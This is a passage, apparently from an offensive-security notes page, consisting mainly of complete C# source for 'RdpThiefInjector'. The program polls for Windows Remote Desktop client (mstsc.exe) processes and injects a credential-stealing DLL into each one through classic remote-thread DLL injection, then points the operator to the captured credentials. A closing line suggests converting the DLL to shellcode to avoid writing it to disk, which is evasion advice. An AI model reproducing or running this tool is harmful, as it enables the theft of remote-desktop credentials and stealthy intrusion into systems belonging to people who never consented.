Some custom code that waits for mstsc.exe to be run and loads the malicious library into it:
RdpThiefInjector.cs
usingSystem;usingSystem.Threading;usingSystem.Diagnostics;usingSystem.Collections.Generic;usingSystem.Runtime.InteropServices;usingSystem.Text;namespaceRdpThiefInjector{classProgram { [DllImport("kernel32.dll", SetLastError =true, ExactSpelling =true)]staticexternIntPtrOpenProcess(uint processAccess,bool bInheritHandle,int processId); [DllImport("kernel32.dll", SetLastError =true, ExactSpelling =true)]staticexternIntPtrVirtualAllocEx(IntPtr hProcess,IntPtr lpAddress,uint dwSize,uint flAllocationType,uint flProtect); [DllImport("kernel32.dll")]staticexternboolWriteProcessMemory(IntPtr hProcess,IntPtr lpBaseAddress,byte[] lpBuffer,Int32 nSize,outIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")]staticexternIntPtrCreateRemoteThread(IntPtr hProcess,IntPtr lpThreadAttributes,uint dwStackSize,IntPtr lpStartAddress,IntPtr lpParameter,uint dwCreationFlags,IntPtr lpThreadId); [DllImport("kernel32", CharSet =CharSet.Ansi, ExactSpelling =true, SetLastError =true)]staticexternIntPtrGetProcAddress(IntPtr hModule,string procName); [DllImport("kernel32.dll", CharSet =CharSet.Auto)]publicstaticexternIntPtrGetModuleHandle(string lpModuleName);staticvoidMain(string[] args) {string dllName =@"C:\Temp\RdpThief.dll";HashSet<int> PIDs =newHashSet<int>();Console.WriteLine("[*] Joined the hunt for mstsc.exe processes...");while (true) {Process[] mstscProc =Process.GetProcessesByName("mstsc");if (mstscProc.Length>0) {for (int i =0; i <mstscProc.Length; i++) {int processId =mstscProc[i].Id;if (!PIDs.Contains(processId)) {Console.WriteLine($"[+] Detected non-hooked process with PID={processId}");IntPtr hProcess = OpenProcess(0x001F0FFF,false, processId);IntPtr dllAddress = VirtualAllocEx(hProcess,IntPtr.Zero,0x1000,0x3000,0x40);IntPtr outSize;bool res = WriteProcessMemory(hProcess, dllAddress,Encoding.Default.GetBytes(dllName),dllName.Length, out outSize);if (res) {Console.WriteLine("[+] WriteProcessMemory succeeded!"); }else {Console.WriteLine("[-] WriteProcessMemory failed :("); }IntPtr loadLibraryAddress = GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");IntPtr hThread = CreateRemoteThread(hProcess,IntPtr.Zero,0, loadLibraryAddress, dllAddress,0,IntPtr.Zero);if (hThread !=null) {Console.WriteLine("[+] CreateRemoteThread succeeded!");Console.WriteLine($"[*] Process {processId} is now hooked, look for creds in \"{System.IO.Path.GetTempPath()}\"");PIDs.Add(processId); }else {Console.WriteLine("[-] CreateRemoteThread failed :("); } } } }Thread.Sleep(5000); } } }}
The DLL can be converted to shellcode with ConvertToShellcode.py (sRDI approach) and then be injected into the target process. That would help to avoid dropping the DLL to disk: